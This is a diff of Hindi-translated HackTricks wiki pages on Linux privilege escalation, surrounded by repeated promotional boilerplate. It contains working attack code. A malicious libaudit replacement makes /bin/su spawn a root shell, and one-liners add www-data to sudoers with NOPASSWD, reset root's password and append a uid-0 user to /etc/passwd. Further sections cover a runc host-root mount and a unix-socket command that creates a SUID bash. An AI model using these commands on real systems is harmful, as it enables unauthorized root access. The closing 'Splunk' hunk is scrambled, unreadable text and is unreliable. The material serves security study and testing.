@ -54,18 +57,18 @@ execve(paramList[0], paramList, NULL);
return 0;
}
```
## विशेषाधिकार बढ़ाने के लिए एक फ़ाइल को अधिलेखित करना
## विशेषाधिकार बढ़ाने के लिए फ़ाइल को ओवरराइट करना
### सामान्य फ़ाइलें
* पासवर्ड के साथ उपयोगकर्ता जोड़ें _/etc/passwd_ में
* _/etc/shadow_ में पासवर्ड बदलें
* _/etc/passwd_ में पासवर्ड के साथ उपयोगकर्ता जोड़ें
* _/etc/shadow_ के अंदर पासवर्ड बदलें
* _/etc/sudoers_ में sudoers में उपयोगकर्ता जोड़ें
* Docker को दुरुपयोग करें docker सॉकेट के माध्यम से, सामान्यत: _/run/docker.sock_ या _/var/run/docker.sock_ में
* आमतौर पर _/run/docker.sock_ या _/var/run/docker.sock_ में docker सॉकेट के माध्यम से docker का दुरुपयोग करें
### एक पुस्तकालय को अधिलेखित करना
### एक पुस्तकालय को ओवरराइट करना
कुछ बाइनरी द्वारा उपयोग की जाने वाली एक पुस्तकालय की जांच करें, इस मामले में `/bin/su`:
कुछ बाइनरी द्वारा उपयोग की जाने वाली पुस्तकालय की जांच करें, इस मामले में `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
@ -77,8 +80,8 @@ libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
इस मामले में हम `/lib/x86_64-linux-gnu/libaudit.so.1`ा अनुकरण करने का प्रयास करें।\
इसलिए, इस पुस्तकालय द्वारा उपयोग की जाने वाली **`su`** बाइनरी के फ़ंक्शन की जांच करें:
इस मामले में हम `/lib/x86_64-linux-gnu/libaudit.so.1`ी नकल करने की कोशिश करते हैं।\
तो, **`su`** बाइनरी द्वारा उपयोग की जाने वाली इस पुस्तकालय के कार्यों की जांच करें:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -86,7 +89,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
चिह्न `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` और `audit_fd` संभावित रूप से libaudit.so.1 पुस्तकालय से हैं। libaudit.so.1 को दुर्भाग्यपूर्ण साझा पुस्तकालय द्वारा अधिलिखित किया जाएगा, इन चिह्नों को नए साझा पुस्तकालय में मौजूद होना चाहिए, अन्यथा कार्यक्रम चिह्न को नहीं ढूंढ पाएगा और बाहर निकल जाएगा।
`audit_open`, `audit_log_acct_message`, `audit_log_acct_message` और `audit_fd` प्रतीक शायद libaudit.so.1 पुस्तकालय से हैं। चूंकि libaudit.so.1 को दुर्भावनापूर्ण साझा पुस्तकालय द्वारा अधिलेखित किया जाएगा, ये प्रतीक नए साझा पुस्तकालय में मौजूद होने चाहिए, अन्यथा कार्यक्रम प्रतीक को नहीं ढूंढ पाएगा और बाहर निकल जाएगा।
```c
#include<stdio.h>
#include<stdlib.h>
@ -108,13 +111,13 @@ setgid(0);
system("/bin/bash");
}
```
अब, बस **`/bin/su`** को कॉल करके आप रूट के रूप में शैल प्राप्त करेंगे।
अब, केवल **`/bin/su`** को कॉल करके आप रूट के रूप में एक शेल प्राप्त करेंगे।
## स्क्रिप्ट
क्या आप रूट को कुछ एक्सीक्यूट करने के लिए बना सकते हैं?
क्या आप रूट को कुछ चलाने के लिए मजबूर कर सकते हैं?
### **www-data से सुडोर्स**
### **www-data को sudoers में**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
@ -122,18 +125,21 @@ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers
```bash
echo "root:hacked" | chpasswd
```
### /etc/passwd में न रूट उपयोगकर्ता जोड़ें
### /etc/passwd में नया रूट उपयोगकर्ता जोड़ें
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# RunC विशेषाधिकार वृद्धि
# RunC Privilege Escalation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो करें** [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग तरकीबें साझा करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic information
यदि आप **runc** के बारे में अधिक जानना चाहते हैं, तो निम्नलिखित पृष्ठ देखें:
यदि आप **runc** के बारे में अधिक जानना चाहते हैं तो निम्नलिखित पृष्ठ देखें:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
@ -24,7 +27,7 @@ HackTricks का समर्थन करने के अन्य तरी
## PE
यदि आप पाते हैं कि होस्ट में `runc` स्थापित है, तो आप **होस्ट के रूट / फोल्डर को माउंट करते हुए एक कंटेनर चला सकते हैं**।
यदि आप पाते हैं कि `runc` होस्ट में स्थापित है, तो आप **होस्ट के रूट / फोल्डर को माउंट करते हुए एक कंटेनर चला सकते हैं**।
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
@ -49,19 +52,22 @@ mkdir rootfs
runc run demo
```
{% hint style="danger" %}
यह हमेशा काम नहीं करेगा क्योंकि runc का डिफ़ॉल्ट ऑपरेशन रूट के रूप में चलाने का होता है, इसलिए इसे एक अनाधिकृत उपयोगकर्ता के रूप में चलाना संभव नहीं है (जब तक कि आपके पास एक rootless कॉन्फ़िगरेशन न हो)। एक rootless कॉन्फ़िगरेशन को डिफ़ॉल्ट बनाना आम तौर पर एक अच्छा विचार नहीं है क्योंकि rootless कंटेनरों के अंदर काफी सीमाएँ होती हैं जो rootless कंटेनरों के बाहर लागू नहीं होती हैं।
{% endhint %}
यह हमेशा काम नहीं करेगा क्योंकि runc का डिफ़ॉल्ट ऑपरेशन रूट के रूप में चलाना है, इसलिए इसे एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चलाना बस काम नहीं कर सकता (जब तक आपके पास एक रूटलेस कॉन्फ़िगरेशन न हो)। रूटलेस कॉन्फ़िगरेशन को डिफ़ॉल्ट बनाना आमतौर पर एक अच्छा विचार नहीं है क्योंकि रूटलेस कंटेनरों के अंदर कई प्रतिबंध हैं जो रूटलेस कंटेनरों के बाहर लागू नहीं होते हैं।
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,25 +1,27 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का** **अनुसरण** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
# कंटेनर में SELinux
# कंटेनरों में SELinux
[रेडहैट डॉक्स से परिचय और उदाहरण](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[रेडहैट डॉक्यूमेंट्स से परिचय और उदाहरण](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) एक **लेबलिंग सिस्टम** है। प्रत्येक **प्रक्रिया** और प्रत्येक **फ़ाइल** सिस्टम ऑब्जेक्ट का एक **लेबल** होता है। SELinux नीतियाँ प्रक्रिया लेबल के बारे में नियम परिभाषित करती हैं कि सिस्टम पर अन्य सभी लेबल के साथ प्रक्रिया लेबल को क्या करने की अनुमति है।
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) एक **लेबलिंग** **सिस्टम** है। हर **प्रक्रिया** और हर **फाइल** सिस्टम ऑब्जेक्ट का एक **लेबल** होता है। SELinux नीतियाँ यह निर्धारित करती हैं कि **प्रक्रिया लेबल को सिस्टम पर अन्य सभी लेबल के साथ क्या करने की अनुमति है**
कंटेनर इंजन **कंटेनर प्रक्रियाएँ एक एकल सीमित SELinux लेबल के साथ लॉन्च करते हैं**, आम तौर पर `container_t`, और फिर कंटेनर क`container_file_t` लेबल वाले कंटेनर के अंदर सेट करते हैं। SELinux नीति नियम बुनियादी रूप से कहते हैं कि **`container_t` प्रक्रियाएँ केवल `container_file_t` लेबल वाली फ़ाइलों को पढ़ सकती हैं/लिख सकती हैं/क्रियान्वित कर सकती हैं**। यदि कोई कंटेनर प्रक्रिया कंटेनर से बाहर निकलती है और होस्ट पर सामग्री में लिखने का प्रयास करती है, तो लिनक्स कर्नेल एक्सेस नकारता है और केवल कंटेनर प्रक्रिया को `container_file_t` लेबल वाली सामग्री में लिखने की अनुमति देता है।
कंटेनर इंजन **एकल सीमित SELinux लेबल** के साथ **कंटेनर प्रक्रियाएँ लॉन्च करते हैं**, आमतौर पर `container_t`, और फिर कंटेनर के अंदर कंटेनर को `container_file_t` लेबल करने के लिए सेट करते हैं। SELinux नीति नियम मूल रूप से कहते हैं कि **`container_t` प्रक्रियाएँ केवल `container_file_t` लेबल वाली फाइलों को पढ़/लिख/निष्पादित कर सकती हैं**। यदि क कंटेनर प्रक्रिया कंटेनर से बाहर निकलती है और होस्ट पर सामग्री को लिखने का प्रयास करती है, तो लिनक्स कर्नेल एक्सेस को अस्वीकार कर देता है और केवल कंटेनर प्रक्रिया को `container_file_t` लेबल वाली सामग्री को लिखने की अनुमति देता है।
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -29,4 +31,21 @@ system_u:system_r:container_t:s0:c647,c780
```
# SELinux उपयोगकर्ता
सामान्य Linux उपयोगकर्ताओं के अतिरिक्त SELinux उपयोगकर्ता होते हैं। SELinux उपयोगकर्ता SELinux नीति का हिस्सा होते हैं। प्रत्येक Linux उपयोगकर्ता नीति के हिस्से के रूप में एक SELinux उपयोगकर्ता से मैप किया जाता है। यह लिनक्स उपयोगकर्ताओं को SELinux उपयोगकर्ताओं पर लगाए गए प्रतिबंध और सुरक्षा नियम और तंत्रों को विरासत में लेने देता है।
SELinux उपयोगकर्ता नियमित Linux उपयोगकर्ताओं के अतिरिक्त होते हैं। SELinux उपयोगकर्ता एक SELinux नीति का हिस्सा होते हैं। प्रत्येक Linux उपयोगकर्ता को नीति के हिस्से के रूप में एक SELinux उपयोगकर्ता से मैप किया जाता है। यह Linux उपयोगकर्ताओं को SELinux उपयोगकर्ताओं पर लगाए गए प्रतिबंधों और सुरक्षा नियमों और तंत्रों को विरासत में लेने की अनुमति देता है।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,21 +1,23 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> से!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## Python के साथ Socket binding उदाहरण
## Python के साथ सॉकेट बाइंडिंग उदाहरण
निम्नलिखित उदाहरण में एक **unix socket बनाया गया है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** होगा वह `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आपको यह वाइल्ड में नहीं मिलेगा, लेकिन इस उदाहरण का उद्देश्य यह देखना है कि unix sockets का उपयोग करते हुए कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे संभालना है
निम्नलिखित उदाहरण में एक **यूनिक्स सॉकेट बनाया गया है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** किया जाता है, उसे `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आप इसे वास्तविक जीवन में नहीं पाएंगे, लेकिन इस उदाहरण का लक्ष्य यह देखना है कि यूनिक्स सॉकेट का उपयोग करने वाला कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे प्रबंधित किया जाए
{% code title="s.py" %}
```python
@ -41,27 +43,30 @@ conn.close()
```
{% endcode %}
**कोड को निष्पादित करें** पायथन का उपयोग करके: `python s.py` और **जांचें कि सॉकेट कैसे सुन रहा है**:
**कोड को चलाएँ** python का उपयोग करके: `python s.py` और **जांचें कि सॉकेट कैसे सुन रहा है**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**एक्सप्लॉइट**
**शोषण**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,60 +1,82 @@
# स्प्लंक LPE और स्थिरता
# Splunk LPE और स्थिरता
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
सीखें & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<dotsilp>
HackTricks का समर्थन करने के अन्य तरीके:
<oummpr>SupportHackTricks</smmay>
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
